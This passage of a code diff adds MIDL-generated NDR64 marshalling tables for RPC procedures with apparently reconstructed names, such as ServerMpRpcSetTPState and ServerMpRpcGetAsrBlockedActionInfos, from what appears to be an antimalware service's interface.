IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1427_t __midl_frag1427 = +{ +/* Proc152_ServerMpUpdateBreakTheGlassStatus */ + { + /* Proc152_ServerMpUpdateBreakTheGlassStatus */ /* procedure Proc152_ServerMpUpdateBreakTheGlassStatus */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2364, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1421_t __midl_frag1421 = +{ +/* Proc151_ServerMpRpcGetDevMode */ + { + /* Proc151_ServerMpRpcGetDevMode */ /* procedure Proc151_ServerMpRpcGetDevMode */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1410_t __midl_frag1410 = +{ +/* Proc149_ServerMpRpcSetTPState */ + { + /* Proc149_ServerMpRpcSetTPState */ /* procedure Proc149_ServerMpRpcSetTPState */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1406_t __midl_frag1406 = +{ +/* Struct_3350_t */ + { + /* Struct_3350_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_3350_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 12 /* 0xc */ + } +}; + +static const __midl_frag1405_t __midl_frag1405 = +{ +/* *Struct_3350_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1406 +}; + +static const __midl_frag1404_t __midl_frag1404 = +{ +/* Proc148_ServerMpRpcGetTPStateInfo */ + { + /* Proc148_ServerMpRpcGetTPStateInfo */ /* procedure Proc148_ServerMpRpcGetTPStateInfo */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 92 /* 0x5c */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1406, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1400_t __midl_frag1400 = +{ +/* *Struct_3302_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1398 +}; + +static const __midl_frag1399_t __midl_frag1399 = +{ +/* */ + { + /* *Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1368 + }, + { + /* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 + } +}; + +static const __midl_frag1398_t __midl_frag1398 = +{ +/* Struct_3302_t */ + { + /* Struct_3302_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3302_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1399, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1397_t __midl_frag1397 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag1396_t __midl_frag1396 = +{ +/* **Struct_3302_t */ + { + /* **Struct_3302_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3302_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1397 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3302_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1398 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1400 + } +}; + +static const __midl_frag1395_t __midl_frag1395 = +{ +/* **Struct_3302_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1396 +}; + +static const __midl_frag1394_t __midl_frag1394 = +{ +/* ***Struct_3302_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1395 +}; + +static const __midl_frag1388_t __midl_frag1388 = +{ +/* Proc147_ServerMpRpcGetAsrBlockedActionInfos */ + { + /* Proc147_ServerMpRpcGetAsrBlockedActionInfos */ /* procedure Proc147_ServerMpRpcGetAsrBlockedActionInfos */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1394, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1383_t __midl_frag1383 = +{ +/* Struct_3280_t */ + { + /* Struct_3280_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3280_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1382_t __midl_frag1382 = +{ +/* *Struct_3280_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1383 +}; + +static const __midl_frag1381_t __midl_frag1381 = +{ +/* **Struct_3280_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1382 +}; + +static const __midl_frag1380_t __midl_frag1380 = +{ +/* Proc146_ServerMpGetTaskSchedulerStrings */ + { + /* Proc146_ServerMpGetTaskSchedulerStrings */ /* procedure Proc146_ServerMpGetTaskSchedulerStrings */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1381, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1376_t __midl_frag1376 = +{ +/* Proc145_ServerMpRpcDeleteAsrHistory */ + { + /* Proc145_ServerMpRpcDeleteAsrHistory */ /* procedure Proc145_ServerMpRpcDeleteAsrHistory */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1372_t __midl_frag1372 = +{ +/* *Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1368 +}; + +static const __midl_frag1369_t __midl_frag1369 = +{ +/* Struct_3220_t */ + { + /* Struct_3220_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3220_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1368_t __midl_frag1368 = +{ +/* Struct_3220_t */ + { + /* Struct_3220_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3220_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1369 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1366_t __midl_frag1366 = +{ +/* **Struct_3220_t */ + { + /* **Struct_3220_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3220_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1397 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1368 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct 